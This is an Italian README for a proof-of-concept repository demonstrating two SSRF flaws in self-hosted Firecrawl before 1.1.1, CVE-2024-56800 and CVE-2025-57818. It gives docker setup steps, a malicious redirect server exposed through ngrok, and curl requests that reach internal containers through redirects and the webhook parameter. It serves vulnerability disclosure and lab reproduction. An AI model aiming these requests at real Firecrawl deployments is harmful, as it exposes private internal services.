cyhe50/cve-2024-56800-pocExploit proof-of-concept che dimostra vulnerabilità SSRF nello scraper web Firecrawl (CVE-2024-56800, CVE-2025-57818) con configurazione self-hosted e server di redirect malevolo.
https://nvd.nist.gov/vuln/detail/CVE-2024-56800
https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec
https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734
Firecrawl è uno scraper web che consente agli utenti di estrarre il contenuto di una pagina web. Le versioni precedenti alla 1.1.1 contengono una vulnerabilità di server-side request forgery (SSRF). Il motore di scraping accetta siti web che reindirizzano a qualsiasi indirizzo IP locale, provocando la fuga di risorse nel server privato.
si trova in apps/api/src/controllers/v1/scrape.ts
l'input dell'utente non è sanificato e può essere un indirizzo IP privato. Quando si utilizza 127.0.0.1, viene effettivamente reindirizzato alla rete locale di firecrawl, causando la perdita di informazioni dal server interno di firecrawl.
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server
Il motivo è che il server firecrawl blocca gli URL privati. Se non vuoi rendere il server pubblico, credo tu possa semplicemente commentare la validazione direttamente in firecrawl.
Qui scrivo solo quello che ho fatto. ngrok:
ngrok http 8000
curl: (ricordati di incollare l'url corretto)
curl -X POST http://localhost:3002/v1/scrape \
-H 'Content-Type: application/json' \
-d '{
"url": "https://xxxxx.ngrok-free.app",
"formats": ["markdown", "html"]
}'
scraper.py
cd scraper
!! apri Dockerfile e cambia l'url con quello appena generato
docker build -t scraper .
docker run scraper
All'avvio del server firecrawl self-hosted, vengono abilitati 5 servizi, uno dei quali è firecrawl-test-1 (vedi maggiori dettagli con docker ps).
Poiché tutti questi 5 servizi sono impostati sulla stessa rete, possono connettersi tra loro usando il nome del contenitore a cui vogliono connettersi.
Es. (connettiti a firecrawl-test-1)
eseguendo curl direttamente sulla macchina locale:
curl http://firecrawl-test-1:80
oppure
curl http://localhost:80
nessuno dei due dovrebbe funzionare perché non sono nella stessa rete di firecrawl-test-1
Tuttavia, accedendo da firecrawl-api-1:
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
oppure
curl http://localhost:80
questo dovrebbe restituire i dati corretti perché sono nella stessa rete.
Nel server malevolo, viene reindirizzato a http://firecrawl-test-1:80, che dovrebbe funzionare solo per la rete di firecrawl. Pertanto, il successo nel raggiungere il server firecrawl-test-1 significa che lo scraper ha reindirizzato correttamente al suo server interno. Questo mostra come l'SSRF funziona per esporre risorse nel server privato.
Anche questa è una vulnerabilità SSRF.
Si verifica nell'API di crawling dove il parametro webhook non è sanificato, gli attaccanti possono inviare richieste POST a una rete locale di firecrawl.
si trova in apps/api/src/services/webhook.ts. Il problema è che l'input webhookUrl non è sanificato
Il webhook invierà una richiesta POST all'URL specificato. Qui lo impostiamo su 127.0.0.1 e si è connesso con successo al server interno
curl -X POST http://localhost:3002/v1/crawl \
-H 'Content-Type: application/json' \
-d '{
"url": "https://example.com",
"webhook": "http://127.0.0.1:80"
}'
Il server interno ha ricevuto con successo la richiesta POST
